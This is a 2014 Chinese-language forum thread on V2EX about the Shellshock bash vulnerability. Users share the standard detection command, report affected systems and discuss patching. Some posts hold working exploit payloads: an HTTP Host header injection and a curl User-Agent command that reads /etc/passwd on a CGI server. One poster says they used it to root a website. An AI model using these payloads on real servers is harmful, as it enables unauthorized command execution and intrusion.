V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
windyboy
V2EX  ›  分享发现

bash 的漏洞,你们中招了吗?

  •  1
     
  •   windyboy · 2014-09-25 11:31:44 +08:00 · 8785 次点击
    这是一个创建于 3473 天前的主题,其中的信息可能已经有所发展或是发生改变。
    http://threatpost.com/major-bash-vulnerability-affects-linux-unix-mac-os-x

    检测:

    $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
    中招的显示:

    vulnerable
    this is a test

    如果是没有问题,则是下面
    $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
    bash: warning: x: ignoring function definition attempt
    bash: error importing function definition for `x'
    this is a test
    第 1 条附言  ·  2014-09-26 08:15:36 +08:00
    补充一下这个问题的危害:
    GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution.

    简单的http攻击的例子(ddos?)
    Http头里如果这样写:
    http-header = Host:() { :; }; ping -c 3 8.8.8.8
    貌似在服务器上就执行了ping
    44 条回复    2014-09-26 15:31:02 +08:00
    Earthman
        1
    Earthman  
       2014-09-25 11:35:24 +08:00
    debian sid中招
    Bakemono
        2
    Bakemono  
       2014-09-25 11:39:16 +08:00
    影响范围很大的。
    我已经成功复现本地搭建的 cgi-bin 的网站,执行命令并且回显,目测很多都会沦陷掉..
    lu18887
        3
    lu18887  
       2014-09-25 11:46:06 +08:00
    @Bakemono 有这么严重?只有自己用的服务器都不行?
    jimmy2010
        4
    jimmy2010  
       2014-09-25 11:46:33 +08:00
    @Bakemono 有具体执行的细节么,我也想测试一下我的网站。debian nginx php fast-cgi
    ccbikai
        5
    ccbikai  
       2014-09-25 11:54:34 +08:00
    手里的五台都中………………
    ryon
        6
    ryon  
       2014-09-25 12:03:18 +08:00
    有修复方案了么
    icevil
        7
    icevil  
       2014-09-25 12:05:46 +08:00   ❤️ 1
    chenshaoju
        8
    chenshaoju  
       2014-09-25 12:05:56 +08:00
    14
        9
    14  
       2014-09-25 12:07:55 +08:00
    sudo apt-get update && sudo apt-get updrade 检测到bash更新,更新之后就好了~
    mml
        10
    mml  
       2014-09-25 12:16:58 +08:00
    这个补丁还是有问题,继续关注等更新吧。
    moname
        11
    moname  
       2014-09-25 12:19:51 +08:00
    一早起来就update了
    cielpy
        12
    cielpy  
       2014-09-25 12:23:00 +08:00
    中招了。。
    orzfly
        13
    orzfly  
       2014-09-25 12:37:00 +08:00   ❤️ 1
    @14 其实可以省略 -get
    apt update && apt upgrade
    14
        14
    14  
       2014-09-25 12:38:46 +08:00
    @orzfly 赞!现在才知道
    Bakemono
        15
    Bakemono  
       2014-09-25 13:10:55 +08:00   ❤️ 1
    @jimmy2010 php不必担心的样子
    @lu18887 挺严重的,我已经测试某网站并且root掉了..

    具体细节..>_>
    curl -A'() { :; }; /bin/cat /etc/passwd > /tmp/test' http://192.168.0.1/poc.cgi
    loveminds
        16
    loveminds  
       2014-09-25 13:12:28 +08:00
    没记错的话bash应该不是setuid的程序吧
    lightforce
        17
    lightforce  
       2014-09-25 13:12:42 +08:00
    env X='() { (a)=>\' bash -c "echo echo vuln"; [[ "$(cat echo)" == "vuln" ]] && echo "still vulnerable :("
    GTim
        18
    GTim  
       2014-09-25 13:23:36 +08:00
    我的macbook 肿么办
    q397064399
        19
    q397064399  
       2014-09-25 13:29:44 +08:00
    @GTim 这个貌似也得先取得user权限吧
    q397064399
        20
    q397064399  
       2014-09-25 13:38:19 +08:00
    @Bakemono 如何利用? 用php先取得用户权限 执行shell 然后用这个漏洞提升到root?
    Bakemono
        21
    Bakemono  
       2014-09-25 13:51:33 +08:00
    @q397064399 利用方法我已经写了,不需要任何权限,只要是 *纯bash* 的 cgi 就可以,当然我只测试了 apache 的
    duzhe0
        22
    duzhe0  
       2014-09-25 14:23:58 +08:00
    debian的默认shell是dash, 所以debian的服务器受影响应该比较小。
    duzhe0
        23
    duzhe0  
       2014-09-25 14:28:06 +08:00
    @Bakemono 我看curl的-A选项是指定User-Agent, 为什么这个会作为env传给cgi呢?
    Bakemono
        24
    Bakemono  
       2014-09-25 14:31:51 +08:00   ❤️ 1
    @duzhe0 Apache 会把 User-Agent 当作环境变量去声明,所以会导致漏洞发生。
    duzhe0
        25
    duzhe0  
       2014-09-25 14:34:49 +08:00
    @Bakemono 哦,想起来了
    lu18887
        26
    lu18887  
       2014-09-25 14:53:21 +08:00
    @Bakemono apache + mod_wsgi+django有问题?
    jiang42
        27
    jiang42  
       2014-09-25 15:31:07 +08:00
    freeBSD 10.0中招
    pimin
        28
    pimin  
       2014-09-25 15:41:19 +08:00
    iac
        29
    iac  
       2014-09-25 15:46:02 +08:00
    有没有比较快速的漏洞披露平台求推荐
    Bakemono
        30
    Bakemono  
       2014-09-25 15:58:45 +08:00
    @pimin 其实我自己写了个..
    @lu18887 没有
    paloalto
        31
    paloalto  
       2014-09-25 17:05:27 +08:00
    [root@li566-238 ~]# $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
    -bash: $: command not found

    哈哈哈哈哈哈
    zhoulujue
        32
    zhoulujue  
       2014-09-25 17:07:09 +08:00
    bash: 警告: x: ignoring function definition attempt
    bash: `x' 函数定义导入错误
    this is a test
    cj1324
        33
    cj1324  
       2014-09-25 17:39:38 +08:00
    @14 未必 嘿嘿。 继续等升级包。
    Automan
        34
    Automan  
       2014-09-25 18:18:32 +08:00
    @paloalto 把$符号去掉
    miyuki
        35
    miyuki  
       2014-09-25 20:11:17 +08:00 via Android
    阿里云bash貌似也是 刚才接到了了紧急通知
    GPU
        36
    GPU  
       2014-09-25 20:23:28 +08:00
    有一台中招了。
    Tz101
        37
    Tz101  
       2014-09-25 20:31:19 +08:00 via Android
    手头的Android也中招了
    lwbjing
        38
    lwbjing  
       2014-09-25 20:58:23 +08:00
    centos 6.5中招,已修复。
    P9
        39
    P9  
       2014-09-25 21:02:07 +08:00
    这个原理是????
    tideline
        40
    tideline  
       2014-09-25 22:20:48 +08:00
    Macbook 中招😭
    Earthman
        41
    Earthman  
       2014-09-25 22:35:15 +08:00
    今晚更新后没问题了
    noikiy
        42
    noikiy  
       2014-09-25 23:50:39 +08:00
    @Bakemono 反弹之后也是要有可用的exp才可以提权到root吧
    windyboy
        43
    windyboy  
    OP
       2014-09-26 08:19:11 +08:00 via Android
    fork3rt
        44
    fork3rt  
       2014-09-26 15:31:02 +08:00
    用zsh的飘过
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   2801 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 27ms · UTC 12:53 · PVG 20:53 · LAX 05:53 · JFK 08:53
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.